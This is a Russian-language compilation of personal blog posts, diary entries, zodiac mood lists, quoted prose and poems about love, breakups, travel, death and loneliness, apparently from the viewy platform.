Телец: Уединение в лесу, легкий ветерок, слегка раскачивающий высокую траву. Длинные, со смыслом сообщения. Запах океана. Музыка на всю громкость и пусть весь мир подождет.

Близнецы: Длинные поездки на автомобиле в одиночестве, окна опущены, музыка на всю громкость. Поэзия, щелчки пишущей машинки. Очень сильный смех, что аж живот болит. Черный и темно-синий цвет, запах после дождя. Экзистенциализм, наблюдение за звездами.

Рак: Длинные теплые обнимашки, держать кого-то за руку. Сохранение секретов и беззаботные шутки. Голубой цвет, собаки. Дикие цветы, которые растут у тебя на заднем дворе. Запах новых книг и звук старого пианино.

Лев: Чистые простыни, Долгий сон. Солнечный свет заливает твою комнату. Растяжка, запах шоколадных блинчиков. Повсюду диски и одежда, близость. Костры, экзотические пляжи и слегка расстроенные гитары.

Дева: Веснушки. музыкальный театр, живые выступления. Спокойное пение, поздние ночные звонки. Хриплые утренние голоса, ваниль и работа до потери дыхания. Музеи искусства, танец, темные круги под твоими глазами. Зарубежные страны и языки, собаки.

Весы: Улыбка во время поцелуя, художественные галереи, пятна от краски на одежде. Звук арфы. Графит, запах кофе. Выполненные обещания, плавание и встречные объятия. Переплетенные пальцы, кошки, плач и запах горящей древесины в зимнее время.

Скорпион: Комфортная тишина, природа, отдых, быть дома. Размышление, быть с семьей, зеленый цвет. Интеллект, старые книги и успокаивающий гул двигателя автомобиля. Пикник, спокойствие.

Стрелец: Разноцветные волосы, снегопад. Тайные реки, маленькие города. Магазины искусства, книжные магазины, запах испеченного печенья. Длинные важные объятия, рукописные шрифты. Тишина перед штормом, папарацци, гребля. Дружба, вождение на закате.

Козерог: Пианино, антикварные магазины. Запах свежеиспеченного хлеба. Травяной чай, наброски поздней ночью, впервые увидеть кого-то, кого ты любишь. Знания, фиолетовый цвет, ум, медленные песни и сарказм. Долгий и горячий душ, звук дождя.

Водолей: Путешествие, иностранная еда. Легкий ветерок вентилятора летом. запах арбуза. Персики, мюзиклы, винил, черный-белое кино. Сон до полудня, кофе со льдом, загар. Духи, вкус шампанского, блоги.

Рыбы: Наличие растений, детские голубые глаза. Попытки подавить смех со своим лучшим другом в 4 утра, ужастики, заговоры. Запах попкорна, быстрые поцелуи, постоянный зрительным контакт. The Beatles, клубника и желтый цвет.

С этой комнатой и с ее книгами у меня связано все с тех пор, как я помню себя; с книгами, о которых, однако, я не стану говорить. Здесь умерла моя мать. Здесь появился на свет я. Но ведь так только говорится, — словно раньше меня не было совсем, словно душа моя уже не жила какой-то предыдущей жизнью. Вы не согласны? Не будем спорить. Сам я в этом убежден, а убеждать других не охотник. Живет же в нас, однако, память о воздушных образах, о взорах, исполненных глубокого, духовного смысла, о звуках мелодичных, но печальных; и от нее не отделаешься, от этой памяти, подобной тени чего-то, неясной, - изменчивой, ускользающей, робкой; и, как и без тени, я не мыслю без нее своего существования, пока солнце моего разума светит.

Эдгар Аллан По
(
перевод В.А. Неделина)
Береника

Если бы я только знала,

чем закончится эта любовь

Я бы в поезде том тебя крепко обняла

Чтобы станцию ты пропустил свою вновь

Хроники: Just a good girl, or story about my little trip.

У меня появилась привычка записывать свои мысли в "заметки" на телефоне. Можно назвать это мои свободным дневником, маленькой шкатулочкой воспоминаний. Далее будет одна из записей…

"Питер… Этот город наполнен меланхолией, соткан из одиночества, из него очень хотелось бежать, но встреча с Катей была моим якорем, она стала моей гаванью, куда я стремилась.

Я всегда бросаюсь в омут с головой, всегда легка на подъем и мечтаю куда-нибудь сорваться, так я попала в Питер и продержалась там 30 часов.

Это было незабываемо, хоть истинные ценители скажут - да что ты видела там за такой короткий срок? Была в Эрмитаже или посетила Петергоф? Нет, я просто бродила по улицам, и нет для меня лучше способа узнать город. Вы идете по улице и вокруг вас лишь туристы, петербуржцы они, как призраки есть, но вы из не увидите. Пустой город, гордый и холодный, вот каким я вижу Петербург. У меня нет негатива, но это просто не моё, никогда раньше я не чувствовала такой безумной тяги вернуться домой, никогда раньше я так сильно не скучала по своей родной столице. Москва для меня родной город, это мой дом.

Заключение всегда давалось мне плохо, я обрываю свою мысль не доведя ее до конца.

Чуть-чуть о Кате (кот если ты это читаешь, то это о тебе). Можно ли назвать это ощущение родственными душами, или чем-то подобным, но мне было так легко, будто мы всю жизнь знакомы. Было так естественно идти рядом, говорить на отвлеченные темы, будто мы обычно так и проводим субботу. Я была так рада, можно сказать сбылась еще одна мечта:

*Питер

*Встретиться с крошкой с вьюи

Это лето полно сюрпризов.

Вот когда читаешь все эти умные, мотивирующие, психологические цитаты великих людей про то, как надо бежать от мужчины, который больше нервов твоих съедает, чем дарит радость, как необходимо уходить сразу же, когда начинаешь понимать, что это не «твой» человек, как нужно распознавать этого «твоего» человека, и как вообще мужчина должен относиться к своей женщине, то, конечно же, соглашаешься и говоришь себе, мол, со мной такого не произойдёт, у меня всё будет идеально и так, как надо.

А когда на самом деле начинаешь понимать, что тебе нравится человек, который полная противоположность этому эталону из всевозможных высказываний, то вовсе не бежишь от него, а недоумеваешь: как можно бросить неидеального мужчину, к которому тебя невероятно тянет?

Поэтому и даёшь эти бесконечные вторые шансы, плюя на все афоризмы о «настоящий мужчина так не поступает…», идёшь наперекор себе. И тем самым загоняешь саму себя в клетку, из которой потом всё сложнее и сложнее выбраться.

Затем, вдруг, внезапно в голове как будто проясняется: начинаешь адекватно мыслить и приходишь в ужас от того, КАК ты могла так долго закрывать на всё глаза и быть с человеком, которому на самом деле ты попросту и не была нужна.

(via oskolki-phraz)

День, в котором появляется ОЮ' автоматически становится удачным. Никто и никогда не заряжает меня такой уверенностью в себе как она. И порой, достаточно одного взгляда. Взгляда, полного любви и уважения, а мимические морщины вокруг рта не дают верить в то, что это неискренне.

Как она вообще распознала меня? До сих пор загадка. Просто так. Вдруг и сразу на поражение.

Поговорив с нею, я, кажется, получила тот самый пинок мотивацией, который был жизненно необходим. Теперь надо жить так, чтобы она не была во мне разочарованна. Не знаю. Буду стараться.

Все ноют вокруг о том, что лето кончается, что пора на учебу и т.д. А Я ХОЧУ УЖЕ СЕНТЯБРЬ. Хочу в универ, хочу поугорать с одногруппниками, к своим девочкам, чтобы вечерами ужинать вместе и курить кальян. Хочу гулять уже не по своему маленькому городу, где все тебя знают, а погулять по набережной, по центру… Скорее бы уже прошла эта неделя.

Завели с подругой этот разговор случайно. Из-за картинки в интернете. Одна из «вспомогалок» авторам - в ней были представлены шесть вариантов того, что происходит с человеком после смерти, как бы на выбор.

Бессмертие - никогда не умирать. Вообще. Никогда. Реинкарнация - после смерти вы родитесь другим человеком, не помня о ранее прожитом. Забвение - просто смерть. И более ничего. Рекурсия - возврат к началу собственной жизни, начиная её заново, но помня о ранее прожитом. И так каждый раз, после смерти, помня обо всех прошлых прожитых одинаковых жизнях. Лимбо - когда тело умирает, а душа продолжает жить в виде призрака. И Рай - после смерти ваше сознание будет испытывать постоянное блаженство, из-за чего, как и при каких условиях не указанно.

Мы задумались, какой из вариантов казался самым привлекательным для каждой из нас. Подруга выбрала Бессмертие, что, наверняка, связанно с её любовью к историям про вампиров. А я же думаю, что мне ближе всего было бы пребывание в Раю.

И когда мы определились, она сказала следующее:

- Это все, конечно, хорошо, но скорее всего нас всех ждёт Забвение.

Это прозвучало на мрачной и ироничной ноте, но я задумалась, так ли плохо забвение? Мне захотелось узнать, почему она думает, что это не очень хороший конец жизни. Вскоре последовал ответ.

- Просто представь: ты прожил жизнь, столько сделал и повидал, многое попробовал и тут… смерть. И все. Ты все потерял. Я так не хочу.

И я задумалась. А что собственно в этом такого отталкивающего? По своей сути, она только что описала жизненный путь и конец каждого человека. Каждый живёт, набирается опыта на протяжении всего своего пути - плохого и хорошего, многое лицезреет и наступает смерть. Конец пути.

Я ещё понимаю, если ты умираешь молодым - когда не успел что-то попробовать, не смог что-то важное сказать или не исполнил мечту всей жизни. Тут я согласна - ты теряешь важное. Но когда ты старый человек лет 70-80, прошедший долгий путь и оставивший после себя потомков и, может, что-то более важное, полюбивший, имевший друзей, повидавший многое за это время, то я не думаю, что ты что-то потеряешь.

По мне, так каждый рано или поздно устанет от жизни. Многие думают, что это не возможно, но мне кажется, иногда человек просто устаёт от собственной повседневности. Это и было тем критерием, по которому я не хотела бы выбрать из описанного ранее списка Бессмертие. Потому что история имеет привычку повторяться, а смотреть на одно и то же из года в год, не имея возможности это прекратить – думаю, я сошла бы с ума.

Просто надо прожить жизнь так, что бы на смертном одре тебе не о чем было жалеть. Что бы отчётливо понимать, что нет такой вещи, о которой ты жалеешь или не успел сделать. Кажется, именно это называют жить сегодняшним днём.

Если судить здраво, то людей, которые боятся смерти, просто пугает неизвестность. Но что если бы мы знали правду!? Не оказалось бы это ещё тяжелее, чем неизвестность. Так что я считаю, что бояться смерти - глупо. Все равно, что боятся завтрашнего дня. Ты так же не знаешь, что тебя может ожидать, но просыпаешься и идёшь дальше.

В конечном счёте, ни у кого в данном вопросе нет выбора. Возможно, после смерти нас всех ждёт одно и то же, может каждого разное, это может быть нечто страшное, а может быть приятное. Мы не знаем. Но надо смело ожидать неизбежного, с высоко поднятой головой…

в силу возраста выскочить замуж (нелюбимого тихо лелея),
игнорировать "кем же ты станешь?",
становиться до одури злее,

нарожать (от любви ли?) детишек, уставать от семьи и работы, игнорировать "как же ты дышишь?" и искать по просторам кого-то — кто был дорог однажды и верен, и улыбчив, но так осторожен, кто сумел научить тебя верить в то, что всё непременно возможно; кто сумел полюбить, расставаясь (потому что родители против).
а теперь чёрно-белая зависть только душит тебя на работе… кто был дорог в июне-июле девяностого, кажется, года.

и метаться паршивою пулей, не найдя почему-то кого-то…
надевать каблуки на застёжке, потому что так "модно" и "надо". пусть устала (до боли!) немножко… маникюр и колечко, помада.
потому что такие "законы": "ты же женщина, будь идеальной".

пусть ты душу себе исколола — "так достойно, почётно, нормально" и пускай ты хотела другого: путешествий, объятий, карьеры, но таким не даётся и слова.

" дорогая, а где же манеры?", "почему не накрашены губы?", "агрессивная, господи, дура!". и пускай тебе душу загубят (на такие моменты — микстура), и пускай ты хотела быть сильной, только женщины слабые, знаешь.

" ты для мужа должна быть красивой!".

звук первичный компьютерных клавиш:
одиночество, сети, потери…
быт сковал одноразовой плёнкой.

" у тебя на компьютер есть время? почему не следишь за ребёнком?".

" ты такая счастливая, боже: два ребёнка — девчонка и мальчик, так скажи… почему, отчего же ты в усталости, милая, плачешь?".

замолчишь. да и что тут ответить? так случилось (?). сама виновата.

ты их любишь (счастливые дети), но устала. отчаялась. правда. пусть мужчина порой избивает — "ну, бывает. а бьёт, значит, любит. ну вспылил, да не хнычь ты! живая. всё нормально, всё круто, всё будет".

ты в порядке, отлично, ты в форме, а в руках посеревшие снимки.
ты вписалась в привычные нормы… почему на лице нет улыбки?

Быть рядом с ним целый день, ночь, сутки и даже двое, идти рядом плечо к плечу, рука об руку, преодолевать вместе какие-то трудности, поддерживать друг друга, но не иметь возможности прикоснуться губами к его губам и обнять, что есть мочи. Это была свадьба наших лучших друзей. Там, где зародилось новое, началась новая жизнь, создалась счастливая семья, именно там окончательно разрушилось все, что было между мной и им. И пусть уже вечером первого дня, я получила этот долгожданный поцелуй и объятия, которые мы скрывали от всех гостей, он все равно был для меня очень чужим. Обещания не оставлять меня одну после банкета, улетели в пустоту. Мы два года скрепляли этот брак своей страстью, как будто заранее знали, что будем выбраны свидетелями. А в день/ночь свадьбы ничего закрепить так и не удалось, более того, мы порвали все, что было между нами. Он не выбрал не меня, он от меня отказался. В какой-то момент второго дня, мне хотелось уехать, и даже было к кому, но я осталась, и сама не знаю зачем. Чтобы увидеть утром его в постели с другой девушкой? Чтобы демонстративно улыбаться, мол, посмотри, как мне хорошо без тебя и даже ни капельки не обидно? Обидно. Еще как обидно. Те незначительные моменты, когда он был моим в эти дни, не смогли скрыть того, что на самом деле мы уже давно посторонние друг для друга люди. Страсть быстро угасла, я стала заменимой, а его слова о том, что я остаюсь для него лучшей, я убирала со своих ушей в виде лапши, приготовленной по его фирменному рецепту. Раньше я была счастлива рядом с ним, сейчас я счастлива вопреки тому, что он не со мной. Да, не смотря на все это, я часто ловила себя на мысли как мне хорошо и какая я, черт возьми, счастливая! Он не растоптал меня, а наоборот дал сил для новой жизни.

Можно просто вычеркнуть вчерашний день из жизни? Только начала писать, уже слезы на глаза наворачиваются.

Днем все было хорошо. Сходили с Дашей в магазин, потом встретили мою маму, я отдала ей крестик(через неделю нас с Анжелой, Артемом, Кириллом и Егором будут крестить. надо было освятить крестик вроде, не знаю точно, зачем он был нужен), к вечеру начали собираться на ту квартиру. Приехали туда, мне абсолютно не понравилась компания, самый нормальный был Дашин парень, остальные какие-то вообще непонятные. Не хочу про них говорить даже. Самое интересное, что кроме пива ничего не было. Я вообще в шоке была. Даже закуски никакой, ничего.. Ладно, выбора не было, пила пиво. Позвонила Анжела, спросила, где я, сказала, что скоро приедет. Они приехали вдвоем с девочкой, компания эта им, естественно, не понравилась тоже. Там был один пацан, который все время до меня докапывался, в кино звал, я блин не знала, как отвязаться от него. Ну он уже выпивший сильно был. В общем, он начал там что-то Анжеле говорить, та, конечно, молчать не стала.. Всех напрягало это, мы решили уехать оттуда. Я позвонила Вове, он нас забрал.

Сначала мы просто катались, заехали в магазин за шампанским, потом стали думать, что дальше делать. Анжела с Аней хотели поехать в летнее кафе, покурить кальян, а Вова начал выпендриваться, что со мной вдвоем хотел побыть. Я прямо говорю, давай мол с девочками посидим немного, Анжела уезжает скоро, пообщаться хотим, он: да мы вообще не проводим время вдвоем, я не хочу и т.д. А, еще когда он нас забирал, с нами вышел мальчик, который ко мне лез, ну и мы там все спорили что-то с ним стояли. И Вова потом начал: да кто это такой, что ему надо было, почему ты шляешься непонятно где, что про меня в городе будут говорить, надо было выйти по голове ему настучать.. Боже. Это такой бред. Я не выдержала, закричала на него, и всее, дальше еще хуже было. "Почему ты повышаешь на меня голос, ты значит меня не уважаешь блаблабла" Анжела с Аней вообще в шоке сидели. Анжела ему говорит, что ты на нее орешь, вы же даже не встречаетесь, зачем так себя вести.

В общем, мы отвезли девочек, съездили к Вове в общагу(да уж), потом ехали, я смотрела салют, хоть что-то хорошее было в этом дне. Я всю дорогу не разговаривала с ним, в итоге он отвез меня к девочкам, дал денег на такси и уехал.

Мы хорошо посидели, правда у меня дико разболелась голова из-за того, что этот ненормальный на меня орал. Анжела сказала бежать от него, куда глаза глядят. И я с ней согласна, больше не буду с ним общаться никак.

Нас забрал Анжелин знакомый, отвезли меня на ту квартиру, а потом я написала Даниилу. Да-да, скажите, что я дура, но я сама себе это раз 500 уже говорила.

Спросила, что делает, ответил, что пьет. Попросила меня забрать, сказал, что позже позвонит. Потом звоню ему, трубку взял его друг, говорит мне: Даниил с девочкой, не может сейчас говорить. Я перезваниваю, и он такой: это кто? Я говорю: Алина. Он: не звоните сюда больше. Сказать, что я офигела-ничего не сказать. Я написала ему: "свинья". Через некоторое время перезванивает и, внимание: "собирайся, зая, напиши адрес, мы сейчас приедем с другом, только подругу возьми с собой". Спросил еще, что купить. Они подъехали, я стояла курила на подъезде, Даниил такой: не знал, что ты куришь, с чего это вдруг, выбрасывай эту дрянь сейчас же. Подошел к Даше, представился. Говорит: ну что, поехали? А Даша отвечает, что она никуда не поедет. Даниил: и что мы вообще сюда приехали? Психанул, они пошли к машине. Я еще стояла орала как дура "Даниил, подойди пожалуйста, я хочу поговорить" О боже. Я спросила у Даши, зачем она так сказала, она: ну а куда бы мы поехали? Блин, это капец. Я потом выяснила, что она в принципе не против была, просто растерялась или что.. Даниил еще когда уходил, сказал Даше, чтобы она меня спать уложила. Ха-ха. Я вообще-то ему и позвонила потому, что там негде было спать, эти придурки не выключили музыку, не было подушек, да и вообще все было отстойно.

Сегодня ехала домой, на улице весь день дождь и мне так грустно стало. Вот зачем я это делаю? Надо вообще забыть о существовании этого человека. Мне прям плохо-плохо было после того, как он уехал. Нетрезвая, вся какая-то помятая попросила меня забрать. Я не могу его отпустить, кто бы что ни говорил, меня уже ничего не спасет, ни другой парень, ни учеба, ничего. Я не знаю, как с этим дальше жить и зачем я сама себе делаю хуже. Ну вот поехали бы мы с ними и что? Что бы было? Не знаю. Может быть, было бы еще хуже. Самое печальное, что я до сих пор не поняла, почему он тогда, в мае, опять меня бросил никак не объяснившись. Мне дико больно до сих пор, не знаю я, как это вообще пережить. Я даже не могу объяснить словами, что я чувствую.

P.S. а еще я где-то потеряла зарядку от телефона и это стало просто фееричным окончанием всей этой херни. купила usb-кабель, но там-то нет штук, чтобы от розетки заряжать, только через комп.. вот и что мне делать? Полнейший отстой

Я и не знаю, здороваться с новым следящим или нет))) это один человек подписывается и отписывается, или что?)

Мда, подписчики уходят..) кароч, блог превращается в дневник здоровья: температура норм, давление повышенное (вероятно все беды от него). сделала маску с гиалуроновой кислотой, весьма недурно, кожа сказала "спасибо") с масочкой я расслабилась и впервые за весь день меня совсем не тошнит! Всё, спать, набираться сил.. Ещё три дня пахать, а потом долгожданный отдых

Мой мужик так занят делами, что в списке его дел я не числюсь по ходу.

Хотя выходной жеее. На неделе он и вправде будет занят. Но еп.

Ну ладно, еще не столь поздний вечер. Мб он еще меня пригласить увидиться и встретит с букетом цветов.

ХА ХА ХА. Я могу сама себя смешить, да.

Чтожеблинтакогосделать?

Среди миров, в сиянии светил
Одной звезды я повторяю имя.
Не потому, чтоб я ее любил,
А потому что мне темно с другими.

И если мне на сердце тяжело,
Я у нее одной ищу ответа.
Не потому, что от нее светло,
А потому, что с ней не надо света.

Иннокентий Фёдорович Анненский (1856—1909)

Тем временем, пошел шестой год моего пребывания на viewy. Я сменила четыре блога, кучу мыслей и массу привычек.

Из шестнадцатилетней девочки, которая считала, что ей все всё должны, выросла двадцатиоднолетняя девушка. К счастью, я росту, меняюсь. Не стою на месте. Надеюсь.

Изображение - savepic.org — сервис хранения изображений Изображение - savepic.org — сервис хранения изображений

Изображение - savepic.org — сервис хранения изображений Изображение - savepic.org — сервис хранения изображений

Я был на парковке и увидел парня перед собой, который был таким же высоким, как и я. И я сразу был такой типа: "Мне он не нравится. Мне не нравится этот парень".

Мне не нравится, что из-за работы у меня не остается времени на собственные мысли. Поняла, что сама работа мне тоже не нравится. Зато люди там очень приятные. Прошла неделя, и неимоверное количество событий. Мой Никто хочет снова отношений. Хотя, я сказала, что такому не бывать. Я не против общения, но не более. Теперь каждый день зовет меня гулять. Еще оказалось, что пока мы встречались, он с какой-то дамой ходил в кино. Просто непонятная дама из интернета, которая захотела с ним познакомиться. Шедеврально. И этот человек еще думает, что я его приму обратно. Читаю Достоевского, и пытаюсь быть лучше.  

extremely loud and incredibly close

"Нам нужны громаднейшие карманы — такие, чтобы в них умещались наши семьи, и наши друзья, и даже люди, которых нет в наших списках, незнакомые, которых мы все равно хотим защитить. Нам нужны карманы для муниципальных округов и целых городов, карманы, способные вместить всю Вселенную.Но я знал, что карманы не бывают такими большими. В конце концов все потеряют всех. "

Он вчера был очень грустный и в мыслях его было что-то вроде " как спасти этот мир". Я не стала лезть, отстранилась. Чуть позже сам звал придти поговорить и постоять рядом.

Затем спросила его, будет ли он ждать меня до 7 утра, на что он ответил, что у него другие планы. И Ан предложил пойти вместе с ними в боулинг, а Даня сказал, что научит.

Я отказалась. Я никогда и ни в коем случае не пойду туда, куда можно сказать навязалась. Хотел бы, позвал бы сразу. А в сам момент, чисто из вежливости. Ну да ладно. Не хочу париться, может ему нужен был этот мужской поход в боулинг. И все.

Я одна уж точно не осталась, Дима и Миша были со мной, выпили по бокалу шампанского с банкета, покурили кальян и поехали домой. А Миша нще и проводил до парадной, строя планы пойти все вместе в кино в четверг ;)

Разговоры… Странная это все таки вещь. Можно обменяться миллионом слов и… не сказать главного. А можно молча смотреть в глаза и… поведать обо всем.

Когда человек делает нам больно, то скорее всего, сам он — глубоко несчастен. Счастливые люди не хамят в очередях, не ругаются в транспорте, не сплетничают о коллегах. Счастливые люди в другой реальности. Им это ни к чему.

Ошо

Через четыре часа мой поезд, на котором я вернусь в Киев. А еще через неделю начнется учеба. Вторая смена, сбой режима, лекции, семинары, общага-универ, универ-общага. Очередные попытки стать лучше, и обещания начать новую жизнь. Челендж на сентябрь: записаться в спортзал и на курсы английского, быть открытой с друзьями и ни в коем случае не стеняться никого и ничего. Лучше просить прощения, чем разрешения.

сегодня 23 августа и полноценный выходной для меня - вновь работающей. хочется упомянуть, что моя новая работа мне нереально нравится, я впервые себя чувствую на работе расслаблено и не напряженно, имею хорошее окружение и нет чувства каторги. надеюсь, что эти ощущения меня не покинут рано, так как я все-таки человек настроения и вдохновения.

что у нас далее? стараюсь меньше грустить/ковыряться в голове в свободное время, стала много времени, сил и денег тратить на себя, ибо состояние мое ужасное.

посетили новые мысли по поводу того, чего я боюсь в жизни, как из предыдущего поста, собственно. я начинаю понимать, что нужно присекать свои " боюсь" увесистыми аргументами и у меня получается, смотрите:

—а что если я так и не найду то, чего хочу, и останусь одна?

—буду жить в свое удовольствие, не заморачиваться, останусь социопатом и плаксой, буду экспериментировать с собой как угодно, искать свое спокоствие в чем-то ином.

по-моему, это не плохо, ведь планы имеют свойство рушиться, а люди изменяться. тогда зачем строить план, который может обвалиться и хотеть человека, который может тебя не понять и отвергнуть?

любой нормальный подросток был бы безумно рад, если бы в его распоряжении на целую неделю была бы пустая квартира

но я бы лучше сидела всю эту неделю дома с родителями и гоняла бы чаи, ан нет - уехали

а еще, моё состояние можно расценивать сейчас, как "запущенная"

опустила я ручки

обещала себе выбросить это из головы, но не получается. за всё время, за все более чем 5 лет, я испытала симпатию к кому-то, кроме него, лишь один раз. и, разумеется, этот самый раз тоже пиздец. возможно это было последствием ещё школьной какой-то влюбленности, но всё же. мы внезапно начали общаться, пару раз гуляли, он предложил дружить и я была согласна, хотя дружбой это было сложно назвать хотя бы потому, что мы виделись второй раз спустя 5 лет после выпускного, ну а ещё он меня держал за руку. а я над ним постоянно стебалась. он самодовольно говорил "у меня такое предчувствие, что ты в меня влюбишься" и я отвечала "да, конечно, это будет очень тяжело, но я постараюсь сдержаться", зная, что я достаточно адекватна для того, чтобы влюбиться в такого, как он. да, глубоко в душе я признавала и, раз уж сейчас об этом пишу, признаю, что он мне симпатичен. но он человек-понты-на-пустом-месте. человек, который разгружал капусту на рынке, приезжал гулять со мной в драных штанах, но не уставал рассказывать, как он прожигал жизнь, когда у него бывали бабки. со мной он виделся только когда их у него не было. мы просто пили пиво на лавочке. хотя, когда у него налаживалась жизнь, он мог писать мне пьяным и звать куда-то, вести себя довольно развязно, считая, что "шампунь-тачка-хата" обязаны произвести на меня впечатление, но я всегда принципиально отказывалась даже просто из-за формы подачи этого всего. да и не хотела видеть его понты, которых было предостаточно даже тогда, когда денег у него не было. он человек слова. в том смысле, что лишь на словах всё и заканчивалось. он предлагал встретиться и на следующий же день пропадал на месяц, поэтому за последние 2 года мы виделись от силы раза 4. в последний раз весной. после этого мы несколько раз предлагали друг другу встретиться, но либо у меня не получалось, либо он сливался после собственного же предложения. и я решила забить на всё это дело. но почему-то всё ещё продолжаю периодически заходить на его страницу. и я в принципе даже осознаю, что не хотела бы связываться с таким человеком, но всё равно продолжаю его вспоминать. потому что, кроме образа этого брутального самодовольного деловитого парня, кроме всего этого напускного, была ещё душа и вещи, которые он произносил шёпотом, даже когда вокруг никого не было. он называл меня умной и чистой, говорил, что со мной ему хорошо, и ни разу, даже в самых банальных располагающих ситуациях, не пытался меня как-то пошло и предсказуемо поцеловать.

Раньше мы были безумно счастливы. Если бы ты была уверена, что я смогу вновь подарить тебе такое счастье, вернулась бы ко мне?

Гуляла я вчера вечером, значится, со своими девчонками из моего старого универа.

Посидели мы в Горсаду, поели пиццы, выпили лимонада, поговорил о всяком и решили часик проитись перед тем, как расходиться по домам.
Вы только представьте себе это:
летний вечер
центр Одессы
кругом играет приятная музыка
прямо в центре Дерибасовской стоит мужчина и потрясающе играет на саксофоне
нет летней жары. прохлада и красота
людей, правда, было довольно много, так что я едва не вскрикнула от неожиданности, когда какой-то мужик впихнул мне листовку, практически ухватив за руку. При чем сделал он это с такими словами
- Покайтесь в своих грехах!
Тут я чуть на ровном месте не споткнулась, отмахнулась и сказала "нет, спасибо".
- Девушка, неужели у вас нет никаких грехов? Приходите к нам в храм и покайтесь!

Что, блять?
Да я себя на какой-то момент Серсеей, мать ее, Ланнистер почувствовала. Приебался со своим "Покайся".
Что это вообще такое? Как бы это мое личное дело и я считаю, что как минимум было бестактно вот так лезть ко мне, когда я просто тихо и мирно гуляла с девочками в центре города.
Я прямо злая такая была. Это уже верх наглости.
Я к верующим людям не лезу и считаю, что они лезть ко мне тоже не должны.
Потому что этот стремный дядька мне все настроение перехерил как минимум из-за того, что он меня банально напугал.

уважаемая, juliegray, не знаю каким образом, а возможно и чистой случайностью, но ты мелькаешь во всех моих блогах, в том числе и бывших "потерянных" уже на протяжении 3-4 лет. не то, чтобы я была не довольна этим или озадачена, а мне приятно, будто ты старая-старая подруга и опора, которая находит меня везде, где бы я ни пряталась. невероятно приятно видеть знакомый ник в заметках, добра тебе, солнце ♥.

Через "не могу" просыпаться утром, пить горячий кофе, вставать с постели, притворяться смелым, веселым, мудрым и считать часы до конца недели.
Через "не хочу" на работу в девять, галстучек потуже, костюм построже, говорить другим, что им надо делать, за лицом следить, чтоб не стало рожей.
Через "я устал" к беговой дорожке, тренажерный зал через день полезен, создавать себя по мельчайшей крошке, убеждать себя, что вполне железен.
Через "ну и дрянь" доедать салаты, в правильном питании залог успеха, притворяться рыцарем в светлых латах, на пути, как зло, устранять помехи.
Через "как же скучно" читать и слушать то, что "каждый должен прочесть/услышать", в модном ресторане давиться суши и давить желание прыгнуть с крыши.
Через "сколько можно" не спать полночи, потому что рушится мир на части…
Убеждать себя, что того и хочешь.
Говорить себе, что вот это — счастье.

«Мы были вместе так долго . Мы как одна семья. Последний день был очень трогательным.
Мы всегда знали, что вернемся, а в этот раз мы знали, что это был конец ».

Дэвид Хейман, продюсер

«Не знаю, как выразить это. Это был невероятный опыт. Я чувствую себя такой счастливой, потому что остановились именно на мне. Мне выпал шанс испытать все это, и он стал частью моей жизни. Мы были избранными, да. Мне очень повезло ».

— Эмма Уотсон

— По чему ты будешь скучать больше всего ?
— Не знаю. На самом деле по всему: по людям , по этому месту и возможно даже по Рону . Хотя прошло 10 лет. Да, если по кому я и буду скучать, то это по Рону.

— Руперт Гринт

«Я просто хочу сказать, что люблю это место. Это моя жизнь. И мне будет очень странно без вас, потому что моя жизнь заключается в вас. Во всех вас. И это з амечательно . Я люблю каждую минуту, проведенную с вами . Спасибо вам всем ».

— Дэниел Рэдклифф

Изображение - savepic.org — сервис хранения изображений

Изображение - savepic.org — сервис хранения изображений

Изображение - savepic.org — сервис хранения изображений

Изображение - savepic.org — сервис хранения изображений

- Ванда, уходи отсюда или умрешь.

- Я уже умерла. Хочешь знать, каково это? Вот так это было.

Это же воплощенная в жизнь метафора. Ей вырвали сердце. Убив Пьетро, ей просто вырвали сердце ТТТТТТТТТ

Через "не могу" просыпаться утром, пить горячий кофе, вставать с постели, притворяться смелым, веселым, мудрым и считать часы до конца недели.
Через "не хочу" на работу в девять, галстучек потуже, костюм построже, говорить другим, что им надо делать, за лицом следить, чтоб не стало рожей.
Через "я устал" к беговой дорожке, тренажерный зал через день полезен, создавать себя по мельчайшей крошке, убеждать себя, что вполне железен.
Через "ну и дрянь" доедать салаты, в правильном питании залог успеха, притворяться рыцарем в светлых латах, на пути, как зло, устранять помехи.
Через "как же скучно" читать и слушать то, что "каждый должен прочесть/услышать", в модном ресторане давиться суши и давить желание прыгнуть с крыши.
Через "сколько можно" не спать полночи, потому что рушится мир на части…
Убеждать себя, что того и хочешь.
Говорить себе, что вот это — счастье.

Ой че это я сопли развела. Кто он вообще такой? Я щас забуду его быстренько. Забухаю. Я еще очень молодая и нравлюсь к тому же мужчинам. Забухаю, найду нового парня! Тоже мне бог.

Да уж, мне завтра 20 лет, а я в этот день буду хоронить тетю… Решили ехать с родителями в Бийск, сейчас выезжаем, а завтра похороны. Вот так и осознаешь взрослую жизнь…

Извините за то, я уродлива.
Извините за то, что у меня нет друзей.
Извините за то, что я ненавижу жизнь.
Извините за то, что я несимпатична.
Извините за то, что я не хороша ни в чем.
Извините за то, что я хочу побыть одна.
Извините за то, что я много сплю.
Извините за то, что я плохая дочь.
Извините за то, что я плохой друг.
Извините за то, что я плохая сестра.
Извините за то, что я изменилась.
Извините за то, что я не могу поменяться.
Извините за то, что я несчастна.
Извините за всю мою боль.
Извините за то, что я жду конца этой боли.
Извините за то, что смотрю, как вы уходите.
Извините за то, что я неудачница.

Мы поругались. Между нами нет доверия. Каждый раз я думаю я не буду выносить мозги. Хотела позвонить первой и сказать ну, ты это, хватит обижаться, люблю тебя! А потом остановилась с мыслью "Я устала пытаться". Я больше правда не хочу пытаться.

если человек сам ушел из вашей жизни, не стоит надеяться на Бога, супермена и тд. Удаляйте все наФиг. Идиотские переписки, контакты, фотографии, меняйте все пароли, маршруты по городу, привычки. Не нужно выискивать родную улыбку, запах, взгляд или знакомую куртку в метро.Все это в жопу. Потому, что если человек захотел уйти-пусть уходит целиком©

Александр Сергеевич Пушкин: "Чем меньше женщину мы любим, Тем легче нравимся мы ей". И вот надо было всем разболтать?

Источник: https://www.lovetime.ru/post-103351/

"прочитала пост про твою семью. очень хочу, чтобы ты и твои близкие были по-настоящему счастливы. а еще я бы хотела познакомиться с тобой лично, ты мне кажешься очень интересной и милой девушкой:3"

Спасибо большое, за такие приятные слова^^ Очень приочень приятно) А насчет встречи - это было бы классно. Я бы вообще устроила вьюи-вечеринку!

теперь

я все больше курю

чем говорю

вливаю в себя

по два -три виски ежевечерне

а уровень жизни в крови

по -прежнему равен нулю

и я никого не жду,

не терплю, не люблю

не помню в лицо

и не прошу прощенья

все кончено

сердце - испорченный

метроном

хирурги радеют за срочную

пересадку

но я его прячу

под самым амбарным замком

